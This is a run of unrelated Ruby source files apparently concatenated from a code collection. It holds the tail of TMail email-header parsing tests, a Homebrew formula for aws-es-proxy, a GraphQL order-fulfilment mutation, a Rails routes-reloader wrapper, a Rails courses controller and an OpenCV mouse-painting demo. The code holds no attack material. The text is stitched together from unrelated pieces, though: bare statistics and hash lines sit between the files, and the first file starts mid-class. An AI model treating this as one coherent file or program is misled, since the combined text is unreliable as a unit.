ReferencesHeaderTester < Test::Unit::TestCase def test_s_new str = '<[email protected]>' %w( References REFERENCES ReFeReNcEs In-Reply-To ).each do |name| h = TMail::HeaderField.new(name, str) assert_instance_of TMail::ReferencesHeader, h, name end end def test_ATTRS id1 = '<[email protected]>' id2 = '<[email protected]>' phr = 'message of "Wed, 17 Mar 1999 18:42:07 +0900"' str = id1 + ' ' + phr + ' ' + id2 h = TMail::HeaderField.new('References', str) ok = [id1, id2] h.each_id do |i| assert_equal ok.shift, i end ok = [id1, id2] assert_equal ok, h.ids h.each_id do |i| assert_equal ok.shift, i end ok = [phr] assert_equal ok, h.phrases h.each_phrase do |i| assert_equal ok.shift, i end ok = [phr] h.each_phrase do |i| assert_equal ok.shift, i end # test 2 # 'In-Reply-To' # '[email protected]'s message of "Fri, 8 Jan 1999 03:49:37 +0900"' end def test_to_s id1 = '<[email protected]>' id2 = '<[email protected]>' phr = 'message of "Wed, 17 Mar 1999 18:42:07 +0900"' str = id1 + ' ' + phr + ' ' + id2 h = TMail::HeaderField.new('References', str) assert_equal id1 + ' ' + id2, h.to_s end end class ReceivedHeaderTester < Test::Unit::TestCase HEADER1 = <<EOS from helium.ruby-lang.org (helium.ruby-lang.org [210.251.121.214]) by doraemon.edit.ne.jp (8.12.1/8.12.0) via TCP with ESMTP id fB41nwEj007438 for <[email protected]>; Tue, 4 Dec 2001 10:49:58 +0900 (JST) EOS HEADER2 = <<EOS from helium.ruby-lang.org (localhost [127.0.0.1]) by helium.ruby-lang.org (Postfix) with ESMTP id 8F8951AF3F; Tue, 4 Dec 2001 10:49:32 +0900 (JST) EOS HEADER3 = <<EOS from smtp1.dti.ne.jp (smtp1.dti.ne.jp [202.216.228.36]) by helium.ruby-lang.org (Postfix) with ESMTP id CE3A1C3 for <[email protected]>; Tue, 4 Dec 2001 10:49:31 +0900 (JST) EOS =begin dangerous headers # 2-word WITH (this header is also wrong in semantic) # I cannot support this. Received: by mebius with Microsoft Mail id <01BE2B9D.9051EAA0@mebius>; Sat, 19 Dec 1998 22:18:54 -0800 =end def test_s_new %w( Received ).each do |name| h = TMail::HeaderField.new(name, HEADER1) assert_instance_of TMail::ReceivedHeader, h, name end end def test_ATTRS h = TMail::HeaderField.new('Received', HEADER1) assert_instance_of String, h.from assert_equal 'helium.ruby-lang.org', h.from assert_instance_of String, h.by assert_equal 'doraemon.edit.ne.jp', h.by assert_instance_of String, h.via assert_equal 'TCP', h.via assert_instance_of Array, h.with assert_equal %w(ESMTP), h.with assert_instance_of String, h.id assert_equal 'fB41nwEj007438', h.id assert_instance_of String, h._for assert_equal '[email protected]', h._for # must be <a> ? assert_instance_of Time, h.date time = Time.parse('Tue, 4 Dec 2001 10:49:58 +0900') assert_equal time, h.date h = TMail::HeaderField.new('Received', '; Tue, 4 Dec 2001 10:49:58 +0900') assert_nil h.from assert_nil h.by assert_nil h.via assert_equal [], h.with assert_nil h.id assert_nil h._for time = Time.parse('Tue, 4 Dec 2001 10:49:58 +0900') assert_equal time, h.date # without date h = TMail::HeaderField.new('Received', 'by NeXT.Mailer (1.144.2)') assert_nil h.from assert_equal 'NeXT.Mailer', h.by assert_nil h.via assert_equal [], h.with assert_nil h.id assert_nil h._for assert_nil h.date # FROM is not a domain h = TMail::HeaderField.new('Received', 'from [email protected]; Tue, 24 Nov 1998 07:59:39 -0500') assert_equal 'example.com', h.from assert_nil h.by assert_nil h.via assert_equal [], h.with assert_nil h.id assert_nil h._for time = Time.parse('Tue, 24 Nov 1998 07:59:39 -0500') assert_equal time, h.date =begin # FOR is not route-addr. # item order is wrong. h = TMail::HeaderField.new('Received', 'from aamine by mail.softica.org with local for [email protected] id 12Vm3N-00044L-01; Fri, 17 Mar 2000 10:59:53 +0900') assert_equal 'aamine', h.from assert_equal 'mail.softica.org', h.by assert_nil h.via assert_equal ['local'], h.with assert_equal '12Vm3N-00044L-01', h.id assert_equal '[email protected]', h._for assert_equal Time.local(2000,4,17, 10,59,53), h.date =end # word + domain-literal in FROM h = TMail::HeaderField.new('Received', 'from localhost [192.168.1.1]; Sat, 19 Dec 1998 22:19:50 PST') assert_equal 'localhost', h.from assert_nil h.by assert_nil h.via assert_equal [], h.with assert_nil h.id assert_nil h._for time = Time.parse('Sat, 19 Dec 1998 22:19:50 PST') assert_equal time, h.date # addr-spec in BY (must be a domain) h = TMail::HeaderField.new('Received', 'by [email protected]; Wed, 24 Feb 1999 14:34:20 +0900') assert_equal 'loveruby.net', h.by end def test_to_s h = TMail::HeaderField.new('Received', HEADER1) time = Time.parse('Tue, 4 Dec 2001 10:49:58 +0900').strftime("%a,%e %b %Y %H:%M:%S %z") assert_equal "from helium.ruby-lang.org by doraemon.edit.ne.jp via TCP with ESMTP id fB41nwEj007438 for <[email protected]>; #{time}", h.to_s [ 'from harmony.loveruby.net', 'by mail.loveruby.net', 'via TCP', 'with ESMTP', 'id LKJHSDFG', 'for <[email protected]>', "; #{time}" ]\ .each do |str| h = TMail::HeaderField.new('Received', str) assert_equal str, h.to_s, 'ReceivedHeader#to_s: data=' + str.dump end end end class KeywordsHeaderTester < Test::Unit::TestCase def test_s_new %w( Keywords KEYWORDS KeYwOrDs ).each do |name| h = TMail::HeaderField.new(name, 'key, word, is, keyword') assert_instance_of TMail::KeywordsHeader, h end end def test_keys h = TMail::HeaderField.new('Keywords', 'key, word, is, keyword') assert_instance_of Array, h.keys assert_equal %w(key word is keyword), h.keys end end class EncryptedHeaderTester < Test::Unit::TestCase def test_s_new %w( Encrypted ).each do |name| h = TMail::HeaderField.new(name, 'lot17 solt') assert_instance_of TMail::EncryptedHeader, h end end def test_encrypter h = TMail::HeaderField.new('Encrypted', 'lot17 solt') assert_equal 'lot17', h.encrypter end def test_encrypter= h = TMail::HeaderField.new('Encrypted', 'lot17 solt') h.encrypter = 'newscheme' assert_equal 'newscheme', h.encrypter end def test_keyword h = TMail::HeaderField.new('Encrypted', 'lot17 solt') assert_equal 'solt', h.keyword h = TMail::HeaderField.new('Encrypted', 'lot17') assert_equal nil, h.keyword end def test_keyword= h = TMail::HeaderField.new('Encrypted', 'lot17 solt') h.keyword = 'newscheme' assert_equal 'newscheme', h.keyword end end class MimeVersionHeaderTester < Test::Unit::TestCase def test_s_new %w( Mime-Version MIME-VERSION MiMe-VeRsIoN ).each do |name| h = TMail::HeaderField.new(name, '1.0') assert_instance_of TMail::MimeVersionHeader, h end end def test_ATTRS h = TMail::HeaderField.new('Mime-Version', '1.0') assert_equal 1, h.major assert_equal 0, h.minor assert_equal '1.0', h.version h = TMail::HeaderField.new('Mime-Version', '99.77 (is ok)') assert_equal 99, h.major assert_equal 77, h.minor assert_equal '99.77', h.version end def test_major= h = TMail::HeaderField.new('Mime-Version', '1.1') h.major = 2 assert_equal 2, h.major assert_equal 1, h.minor assert_equal 2, h.major h.major = 3 assert_equal 3, h.major end def test_minor= h = TMail::HeaderField.new('Mime-Version', '2.3') assert_equal 3, h.minor h.minor = 5 assert_equal 5, h.minor assert_equal 2, h.major end def test_to_s h = TMail::HeaderField.new('Mime-Version', '1.0 (first version)') assert_equal '1.0', h.to_s end def test_empty? h = TMail::HeaderField.new('Mime-Version', '') assert_equal true, h.empty? end end class ContentTypeHeaderTester < Test::Unit::TestCase def test_s_new %w( Content-Type CONTENT-TYPE CoNtEnT-TyPe ).each do |name| h = TMail::HeaderField.new(name, 'text/plain; charset=iso-2022-jp') assert_instance_of TMail::ContentTypeHeader, h, name end end def test_ATTRS h = TMail::HeaderField.new('Content-Type', 'text/plain; charset=iso-2022-jp') assert_equal 'text', h.main_type assert_equal 'plain', h.sub_type assert_equal 1, h.params.size assert_equal 'iso-2022-jp', h.params['charset'] h = TMail::HeaderField.new('Content-Type', 'Text/Plain; Charset=shift_jis') assert_equal 'text', h.main_type assert_equal 'plain', h.sub_type assert_equal 1, h.params.size assert_equal 'shift_jis', h.params['charset'] end def test_attrs_with_newlines h = TMail::HeaderField.new('Content-Type', "application/octet-stream; name=\n \"Rapport_Journal_de_4_14_octobre_2010.pdf\"") assert_equal 'application', h.main_type assert_equal 'octet-stream', h.sub_type assert_equal 1, h.params.size assert_equal 'Rapport_Journal_de_4_14_octobre_2010.pdf', h.params['name'] end def test_multipart_with_legal_unquoted_boundary h = TMail::HeaderField.new('Content-Type', 'multipart/mixed; boundary=dDRMvlgZJXvWKvBx') assert_equal 'multipart', h.main_type assert_equal 'mixed', h.sub_type assert_equal 1, h.params.size assert_equal 'dDRMvlgZJXvWKvBx', h.params['boundary'] end def test_multipart_with_legal_quoted_boundary_should_retain_quotations h = TMail::HeaderField.new('Content-Type', 'multipart/mixed; boundary="dDRMvlgZJXvWKvBx"') assert_equal 'multipart', h.main_type assert_equal 'mixed', h.sub_type assert_equal 1, h.params.size assert_equal 'dDRMvlgZJXvWKvBx', h.params['boundary'] end def test_multipart_with_illegal_unquoted_boundary_should_add_quotations h = TMail::HeaderField.new('Content-Type', 'multipart/alternative; boundary=----=_=NextPart_000_0093_01C81419.EB75E850') assert_equal 'multipart', h.main_type assert_equal 'alternative', h.sub_type assert_equal 1, h.params.size assert_equal '----=_=NextPart_000_0093_01C81419.EB75E850', h.params['boundary'] end def test_multipart_with_illegal_quoted_boundary_should_retain_quotations h = TMail::HeaderField.new('Content-Type', 'multipart/alternative; boundary="----=_=NextPart_000_0093_01C81419.EB75E850"') assert_equal 'multipart', h.main_type assert_equal 'alternative', h.sub_type assert_equal 1, h.params.size assert_equal '----=_=NextPart_000_0093_01C81419.EB75E850', h.params['boundary'] end def test_multipart_with_extra_with_multiple_params h = TMail::HeaderField.new('Content-Type', 'multipart/related;boundary=1_4626B816_9F1690;Type="application/smil";Start="<mms.smil.txt>"') assert_equal 'multipart', h.main_type assert_equal 'related', h.sub_type assert_equal 3, h.params.size assert_equal '1_4626B816_9F1690', h.params['boundary'] end def test_main_type= h = TMail::HeaderField.new('Content-Type', 'text/plain; charset=iso-2022-jp') assert_equal 'text', h.main_type h.main_type = 'multipart' assert_equal 'multipart', h.main_type assert_equal 'multipart', h.main_type h.main_type = 'TEXT' assert_equal 'text', h.main_type end def test_sub_type= h = TMail::HeaderField.new('Content-Type', 'text/plain; charset=iso-2022-jp') assert_equal 'plain', h.sub_type h.sub_type = 'html' assert_equal 'html', h.sub_type h.sub_type = 'PLAIN' assert_equal 'plain', h.sub_type end end class ContentEncodingHeaderTester < Test::Unit::TestCase def test_s_new %w( Content-Transfer-Encoding CONTENT-TRANSFER-ENCODING COnteNT-TraNSFer-ENCodiNG ).each do |name| h = TMail::HeaderField.new(name, 'Base64') assert_instance_of TMail::ContentTransferEncodingHeader, h end end def test_encoding h = TMail::HeaderField.new('Content-Transfer-Encoding', 'Base64') assert_equal 'base64', h.encoding h = TMail::HeaderField.new('Content-Transfer-Encoding', '7bit') assert_equal '7bit', h.encoding end def test_encoding= h = TMail::HeaderField.new('Content-Transfer-Encoding', 'Base64') assert_equal 'base64', h.encoding h.encoding = '7bit' assert_equal '7bit', h.encoding end def test_to_s h = TMail::HeaderField.new('Content-Transfer-Encoding', 'Base64') assert_equal 'Base64', h.to_s assert_equal h.to_s, h.decoded assert_equal h.to_s, h.encoded end def test_insertion_of_headers_and_encoding_them_short mail = TMail::Mail.new mail['X-Mail-Header'] = "short bit of data" assert_equal("X-Mail-Header: short bit of data\r\n\r\n", mail.encoded) end def test_insertion_of_headers_and_encoding_them_more_than_78_char_total_with_whitespace_1 mail = TMail::Mail.new mail['X-Ruby-Talk'] = "<11152772-AAFA-4614-95FD-9071A4BDF4A111152772-AAFA [email protected]>" assert_equal("X-Ruby-Talk: <11152772-AAFA-4614-95FD-9071A4BDF4A111152772-AAFA\r\n\[email protected]>\r\n\r\n", mail.encoded) result = TMail::Mail.parse(mail.encoded) assert_equal(mail['X-Ruby-Talk'].to_s, result['X-Ruby-Talk'].to_s) end def test_insertion_of_headers_and_encoding_them_more_than_78_char_total_with_whitespace_2 mail = TMail::Mail.new mail['X-Ruby-Talk'] = "<11152772-AAFA-4614-95FD-9071A4BDF4A111152772-AAFA 4614-95FD-9071A4BDF4A1@grayproductions.net11152772-AAFA-4614-95FD-9071A4BDF4A111152772-AAFA [email protected]>" assert_equal("X-Ruby-Talk: <11152772-AAFA-4614-95FD-9071A4BDF4A111152772-AAFA\r\n\t4614-95FD-9071A4BDF4A1@grayproductions.net11152772-AAFA-4614-95FD-9071A4BDF4A111152772-AAFA\r\n\[email protected]>\r\n\r\n", mail.encoded) result = TMail::Mail.parse(mail.encoded) assert_equal(mail['X-Ruby-Talk'].to_s, result['X-Ruby-Talk'].to_s) end def test_insertion_of_headers_and_encoding_them_more_than_78_char_total_without_whitespace mail = TMail::Mail.new mail['X-Ruby-Talk'] = "<11152772-AAFA-4614-95FD-9071A4BDF4A111152772-AAFA-4614-95FD-9071A4BDF4A1@grayproductions.net>" assert_equal("X-Ruby-Talk: <11152772-AAFA-4614-95FD-9071A4BDF4A111152772-AAFA-4614-95FD-9071A4BDF4A1@grayproductions.net>\r\n\r\n", mail.encoded) result = TMail::Mail.parse(mail.encoded) assert_equal(mail['X-Ruby-Talk'].to_s, result['X-Ruby-Talk'].to_s) end def test_insertion_of_headers_and_encoding_them_less_than_998_char_total_without_whitespace mail = TMail::Mail.new text_with_whitespace = ""; 985.times{text_with_whitespace << "a"} mail['Reply-To'] = "#{text_with_whitespace}" assert_equal("Reply-To: #{text_with_whitespace}\r\n\r\n", mail.encoded) result = TMail::Mail.parse(mail.encoded) assert_equal(mail['Reply-To'].to_s, result['Reply-To'].to_s) end def test_insertion_of_headers_and_encoding_them_more_than_998_char_total_without_whitespace mail = TMail::Mail.new text_with_whitespace = ""; 1200.times{text_with_whitespace << "a"} before_text = ""; 985.times{before_text << "a"} after_text = ""; 215.times{after_text << "a"} mail['X-Ruby-Talk'] = "#{text_with_whitespace}" assert_equal("X-Ruby-Talk: #{before_text}\r\n\t#{after_text}\r\n\r\n", mail.encoded) end def test_insertion_of_headers_and_encoding_with_1_more_than_998_char_total_without_whitespace mail = TMail::Mail.new text_with_whitespace = ""; 996.times{text_with_whitespace << "a"} before_text = ""; 995.times{before_text << "a"} after_text = ""; 1.times{after_text << "a"} mail['X'] = "#{text_with_whitespace}" assert_equal("X: #{before_text}\r\n\t#{after_text}\r\n\r\n", mail.encoded) end def test_insertion_of_headers_and_encoding_with_exactly_998_char_total_without_whitespace mail = TMail::Mail.new text_with_whitespace = ""; 995.times{text_with_whitespace << "a"} before_text = ""; 995.times{before_text << "a"} mail['X'] = "#{text_with_whitespace}" assert_equal("X: #{before_text}\r\n\r\n", mail.encoded) end end class ContentDispositionHeaderTester < Test::Unit::TestCase def test_s_new %w( Content-Disposition CONTENT-DISPOSITION ConTENt-DIsPOsition ).each do |name| h = TMail::HeaderField.new(name, 'attachment; filename="README.txt.pif"') assert_instance_of TMail::ContentDispositionHeader, h end end def test_ATTRS begin _test_ATTRS _test_tspecials _test_rfc2231_decode #_test_rfc2231_encode _test_raw_iso2022jp _test_raw_eucjp _test_raw_sjis unless RUBY_VERSION.match(/1.9/) _test_code_conversion unless RUBY_VERSION.match(/1.9/) ensure TMail.KCODE = 'NONE' end end def test_attrs_with_newlines h = TMail::HeaderField.new('Content-Disposition', "attachment; filename=\n \"Rapport_Journal_de_4_14_octobre_2010.pdf\"") assert_equal 'attachment', h.disposition assert_equal 1, h.params.size assert_equal 'Rapport_Journal_de_4_14_octobre_2010.pdf', h.params['filename'] end def _test_ATTRS TMail.KCODE = 'NONE' h = TMail::HeaderField.new('Content-Disposition', 'attachment; filename="README.txt.pif"') assert_equal 'attachment', h.disposition assert_equal 1, h.params.size assert_equal 'README.txt.pif', h.params['filename'] h = TMail::HeaderField.new('Content-Disposition', 'attachment; Filename="README.txt.pif"') assert_equal 'attachment', h.disposition assert_equal 1, h.params.size assert_equal 'README.txt.pif', h.params['filename'] h = TMail::HeaderField.new('Content-Disposition', 'attachment; filename=') assert_equal true, h.empty? assert_nil h.params assert_nil h['filename'] end def _test_tspecials h = TMail::HeaderField.new('Content-Disposition', 'a; n=a') h['n'] = %q|()<>[];:@\\,"/?=| assert_equal 'a; n="()<>[];:@\\\\,\"/?="', h.encoded end def _test_rfc2231_decode TMail.KCODE = 'EUC' h = TMail::HeaderField.new('Content-Disposition', "attachment; filename*=iso-2022-jp'ja'%1b$B$Q$i$`%1b%28B") assert_equal 'attachment', h.disposition assert_equal 1, h.params.size expected = "\244\321\244\351\244\340" expected.force_encoding 'EUC-JP' if expected.respond_to? :force_encoding assert_equal expected, h.params['filename'] end def _test_rfc2231_encode TMail.KCODE = 'EUC' h = TMail::HeaderField.new('Content-Disposition', 'a; n=a') h['n'] = "\245\265\245\363\245\327\245\353.txt" assert_equal "a; n*=iso-2022-jp'ja'%1B$B%255%25s%25W%25k%1B%28B.txt", h.encoded h = TMail::HeaderField.new('Content-Disposition', 'a; n=a') h['n'] = "\245\265()<>[];:@\\,\"/?=%*'" assert_equal "a;\r\n\tn*=iso-2022-jp'ja'%1B$B%255%1B%28B%28%29%3C%3E%5B%5D%3B%3A%40%5C%2C%22%2F%3F%3D%25%2A%27", h.encoded end def _test_raw_iso2022jp TMail.KCODE = 'EUC' # raw iso2022jp string in value (token) h = TMail::HeaderField.new('Content-Disposition', %Q<attachment; filename=\e$BF|K\\8l\e(B.doc>) assert_equal 'attachment', h.disposition assert_equal 1, h.params.size # assert_equal "\e$BF|K\\8l\e(B.doc", h.params['filename'] expected = "\306\374\313\334\270\354.doc" expected.force_encoding 'EUC-JP' if expected.respond_to? :force_encoding assert_equal expected, h.params['filename'] # raw iso2022jp string in value (quoted string) h = TMail::HeaderField.new('Content-Disposition', %Q<attachment; filename="\e$BF|K\\8l\e(B.doc">) assert_equal 'attachment', h.disposition assert_equal 1, h.params.size # assert_equal "\e$BF|K\\8l\e(B.doc", h.params['filename'] assert_equal expected, h.params['filename'] end def _test_raw_eucjp TMail.KCODE = 'EUC' # raw EUC-JP string in value (token) h = TMail::HeaderField.new('Content-Disposition', %Q<attachment; filename=\306\374\313\334\270\354.doc>) assert_equal 'attachment', h.disposition assert_equal 1, h.params.size expected = "\306\374\313\334\270\354.doc" expected.force_encoding 'EUC-JP' if expected.respond_to? :force_encoding assert_equal expected, h.params['filename'] # raw EUC-JP string in value (quoted-string) h = TMail::HeaderField.new('Content-Disposition', %Q<attachment; filename="\306\374\313\334\270\354.doc">) assert_equal 'attachment', h.disposition assert_equal 1, h.params.size assert_equal expected, h.params['filename'] end def _test_raw_sjis TMail.KCODE = 'SJIS' # raw SJIS string in value (token) h = TMail::HeaderField.new('Content-Disposition', %Q<attachment; filename=\223\372\226{\214\352.doc>) assert_equal 'attachment', h.disposition assert_equal 1, h.params.size expected = "\223\372\226{\214\352.doc" expected.force_encoding 'Windows-31J' if expected.respond_to? :force_encoding assert_equal expected, h.params['filename'] # raw SJIS string in value (quoted-string) h = TMail::HeaderField.new('Content-Disposition', %Q<attachment; filename="\223\372\226{\214\352.doc">) assert_equal 'attachment', h.disposition assert_equal 1, h.params.size assert_equal expected, h.params['filename'] end def _test_code_conversion # JIS -> TMail.KCODE auto conversion TMail.KCODE = 'EUC' h = TMail::HeaderField.new('Content-Disposition', %Q<attachment; filename=\e$BF|K\\8l\e(B.doc>) assert_equal 'attachment', h.disposition assert_equal 1, h.params.size expected = "\306\374\313\334\270\354.doc" expected.force_encoding 'EUC-JP' if expected.respond_to? :force_encoding assert_equal expected, h.params['filename'] TMail.KCODE = 'SJIS' h = TMail::HeaderField.new('Content-Disposition', %Q<attachment; filename=\e$BF|K\\8l\e(B.doc>) assert_equal 'attachment', h.disposition assert_equal 1, h.params.size expected = "\223\372\226{\214\352.doc" expected.force_encoding 'Windows-31J' if expected.respond_to? :force_encoding assert_equal expected, h.params['filename'] end def test_disposition= h = TMail::HeaderField.new('Content-Disposition', 'attachment; filename="README.txt.pif"') assert_equal 'attachment', h.disposition h.disposition = 'virus' assert_equal 'virus', h.disposition h.disposition = 'AtTaChMeNt' assert_equal 'attachment', h.disposition end def test_wrong_mail_header fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email9") assert_raise(TMail::SyntaxError) { TMail::Mail.parse(fixture) } end def test_malformed_header_key fixture = "From: [email protected]\nX-Malformed : true\n\nhello" mail = TMail::Mail.parse(fixture) assert_equal 'true', mail.header['x-malformed'].to_s end def test_decode_message_with_unknown_charset fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email10") mail = TMail::Mail.parse(fixture) assert_nothing_raised { mail.body } end def test_decode_message_with_unquoted_atchar_in_header fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email11") mail = TMail::Mail.parse(fixture) assert_not_nil mail.from end def test_mail_warning_flag assert !TMail::Mail.warn_on_parse_error TMail::Mail.with_parse_warnings { assert TMail::Mail.warn_on_parse_error } assert !TMail::Mail.warn_on_parse_error end def test_mail_processing_without_and_with_warnings fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email_invalid_mime_header") mail = TMail::Mail.parse(fixture) assert_raise(TMail::SyntaxError) { mail.body } mail = TMail::Mail.parse(fixture) TMail::Mail.with_parse_warnings { mail.body } assert_equal ["wrong mail header: '\"\\\"\\n\"'"], mail.parts.first.parse_warnings end def test_new_from_port_should_produce_a_header_object_of_the_correct_class p = TMail::FilePort.new("#{File.dirname(__FILE__)}/fixtures/mailbox") h = TMail::HeaderField.new_from_port(p, 'Message-Id') assert_equal(TMail::MessageIdHeader, h.class) end def test_should_return_the_evelope_sender_when_given_from_without_a_colon p = TMail::FilePort.new("#{File.dirname(__FILE__)}/fixtures/mailbox") h = TMail::HeaderField.new_from_port(p, 'EnvelopeSender') assert_equal("mike@envelope_sender.com.au", h.addrs.join) end def test_new_from_port_should_produce_a_header_object_that_contains_the_right_data p = TMail::FilePort.new("#{File.dirname(__FILE__)}/fixtures/mailbox") h = TMail::HeaderField.new_from_port(p, 'From') assert_equal("Mikel Lindsaar <mikel@from_address.com>", h.addrs.join) end def test_unwrapping_a_long_header_field_using_new_from_port p = TMail::FilePort.new("#{File.dirname(__FILE__)}/fixtures/mailbox") h = TMail::HeaderField.new_from_port(p, 'Content-Type') line = 'multipart/signed; protocol="application/pkcs7-signature"; boundary=Apple-Mail-42-587703407; micalg=sha1' assert(line =~ /multipart\/signed/) assert(line =~ /protocol="application\/pkcs7-signature"/) assert(line =~ /boundary=Apple-Mail-42-587703407/) assert(line =~ /micalg=sha1/) assert_equal(line.length, 103) end def test_returning_nil_if_there_is_no_match p = TMail::FilePort.new("#{File.dirname(__FILE__)}/fixtures/mailbox") h = TMail::HeaderField.new_from_port(p, 'Received-Long-Header') assert_equal(h, nil) end def test_adding_custom_message_id fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email") mail = TMail::Mail.parse(fixture) message_id = "<[email protected]>" mail.enforced_message_id = message_id mail.ready_to_send assert_equal(message_id, mail.message_id) end def test_not_adding_custom_message_id fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email") mail = TMail::Mail.parse(fixture) message_id = mail.message_id mail.message_id = "<[email protected]>" mail.ready_to_send assert_not_equal(message_id, mail.message_id) end def test_content_type_does_not_unquote_parameter_values japanese_jis_filename = "¥e$B4A;z¥e(B.jpg" mailsrc =<<ENDSTRING Content-Type: image/jpeg; name="#{japanese_jis_filename}" Content-Transfer-Encoding: Base64 Content-Disposition: attachment ENDSTRING result =<<ENDSTRING Content-Type: image/jpeg; name*=iso-2022-jp'ja'%c2%a5e$B4A%3bz%c2%a5e%28B.jpg Content-Transfer-Encoding: Base64 Content-Disposition: attachment ENDSTRING mail = TMail::Mail.parse(mailsrc) assert_equal(result.gsub("\n", "\r\n"), mail.encoded) end end
33.992488
251
0.675267
ac3ed049e975e6137936d48f61cbefb046a3e6ac
1,754
class AwsEsProxy < Formula desc "Small proxy between HTTP client and AWS Elasticsearch" homepage "https://github.com/abutaha/aws-es-proxy" url "https://github.com/abutaha/aws-es-proxy/archive/v0.9.tar.gz" sha256 "c5a2943c79737874b7fc84ee298925e33aeece58fcf0e2b8b7d2f416bc872491" bottle do cellar :any_skip_relocation sha256 "3a2b9b87d015af49e5061556d2ab93d901831aef4c2331624f573a451a9620d2" => :catalina sha256 "35421935cd1cdb758564d9fb6328aea304d2d1850539e5e407e2496f3963842c" => :mojave sha256 "f8f4c0fc627d3a2319b4ddd51c692040f97fae904a3c4840890740a0a3a0d3ff" => :high_sierra sha256 "a7909d452eae3f5f34f982f98af35be8c814d9b9476c3c7a2f479fa6f5e9f631" => :sierra end depends_on "glide" => :build depends_on "go" => :build def install ENV["GLIDE_HOME"] = buildpath/"glide_home" ENV["GOPATH"] = buildpath (buildpath/"src/github.com/abutaha/aws-es-proxy").install buildpath.children cd "src/github.com/abutaha/aws-es-proxy" do system "glide", "install" system "go", "build", "-o", "aws-es-proxy" bin.install "aws-es-proxy" prefix.install_metafiles end end def caveats <<~EOS Before you can use these tools you must export some variables to your $SHELL. export AWS_ACCESS_KEY="<Your AWS Access ID>" export AWS_SECRET_KEY="<Your AWS Secret Key>" export AWS_CREDENTIAL_FILE="<Path to the credentials file>" EOS end test do begin io = IO.popen("#{bin}/aws-es-proxy -endpoint https://dummy-host.eu-west-1.es.amazonaws.com", :err => [:child, :out]) sleep 2 ensure Process.kill("SIGINT", io.pid) Process.wait(io.pid) end assert_match "Listening on", io.read end end
33.09434
98
0.704675
878f9d8d1c8bb5808567bdd856ad039bd114e84d
624
class Mutations::FulfillAtOnce < Mutations::BaseMutation null true description 'Fulfill an order with one Fulfillment, it sets this fulfillment to each line item in order' argument :id, ID, required: true argument :fulfillment, Inputs::FulfillmentAttributes, required: true field :order_or_error, Mutations::OrderOrFailureUnionType, 'A union of success/failure', null: false def resolve(id:, fulfillment:) order = Order.find(id) authorize_seller_request!(order) { order_or_error: { order: OrderService.fulfill_at_once!(order, fulfillment.to_h, context[:current_user][:id]) } } end end
34.666667
116
0.746795
08b5749c63cabcd5000632fc94137586113a2a11
757
# frozen_string_literal: true module RoutesLazyRoutes class RoutesReloaderWrapper delegate :paths, :eager_load=, :run_after_load_paths=, :updated?, :route_sets, :external_routes, to: :@original_routes_reloader def initialize(original_routes_reloader) @original_routes_reloader = original_routes_reloader @mutex = Mutex.new end def execute # pretty vacant end def reload! @mutex.synchronize do if Rails.application.routes_reloader == self Rails.application.instance_variable_set :@routes_reloader, @original_routes_reloader @original_routes_reloader.execute end end end end end
23.65625
94
0.642008
03b1fec0e1a41997391843a377747b9faeb95e48
2,174
class CoursesController < ApplicationController before_action :set_course, only: [:show, :edit, :update, :destroy, :students] # GET /courses # GET /courses.json def index @courses = Course.all if params[:title] @courses = @courses.where("lower(title) like ?", "%#{params[:title]}%") end end # GET /courses/1 # GET /courses/1.json def show end # GET /courses/new def new @course = Course.new end # GET /courses/1/edit def edit end # POST /courses # POST /courses.json def create @course = Course.new(course_params) respond_to do |format| if @course.save format.html { redirect_to @course, notice: 'Course was successfully created.' } format.json { render :show, status: :created, location: @course } else format.html { render :new } format.json { render json: @course.errors, status: :unprocessable_entity } end end end # PATCH/PUT /courses/1 # PATCH/PUT /courses/1.json def update respond_to do |format| if @course.update(course_params) format.html { redirect_to @course, notice: 'Course was successfully updated.' } format.json { render :show, status: :ok, location: @course } else format.html { render :edit } format.json { render json: @course.errors, status: :unprocessable_entity } end end end # DELETE /courses/1 # DELETE /courses/1.json def destroy @course.destroy respond_to do |format| format.html { redirect_to courses_url, notice: 'Course was successfully destroyed.' } format.json { head :no_content } end end private # Use callbacks to share common setup or constraints between actions. def set_course @course = Course.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def course_params teacher_id = params.require(:course)[:teacher] if teacher_id teacher = Person.find(teacher_id) else teacher = nil end params.require(:course).permit(:title, :code, :quota).merge(:teacher => teacher) end end
25.27907
91
0.643054
91cd28da75e194e68b5d6b91fe330246ed3c8467
1,392
#!/usr/bin/env ruby # paint.rb require "rubygems" require "opencv" include OpenCV window = GUI::Window.new("free canvas") canvas = CvMat.new(500, 500, 0, 3).fill!(0xFF) # create white canvas window.show canvas colors = CvColor::constants.collect{|i| i.to_s } usage =<<USAGE [mouse] drag - draw right button - fill by color [keyborad] 1 to 9 - change thickness of line type color name - change color esc - exit USAGE puts usage point = nil # drawing option opt = { :color => CvColor::Black, :tickness => 1 } window.on_mouse{|m| case m.event when :move if m.left_button? canvas.line!(point, m, opt) if point point = m end when :left_button_down canvas.line!(m, m, opt) point = m when :left_button_up point = nil when :right_button_down mask = canvas.flood_fill!(m, opt[:color]) end window.show canvas } color_name = '' while key = GUI.wait_key next if key < 0 case key.chr when "\e" # [esc] - exit exit when '1'..'9' puts "change thickness to #{key.chr.to_i}." opt[:thickness] = key.chr.to_i else color_name << key.chr choice = colors.find_all{|i| i =~ /\A#{color_name}/i} if choice.size == 1 color,= choice puts "change color to #{color}." opt[:color] = CvColor::const_get(color) end color_name = '' if choice.length < 2 end end
19.333333
68
0.621408
e27db8f126765cdfa3a4677007f89d3c1182197c
1,971
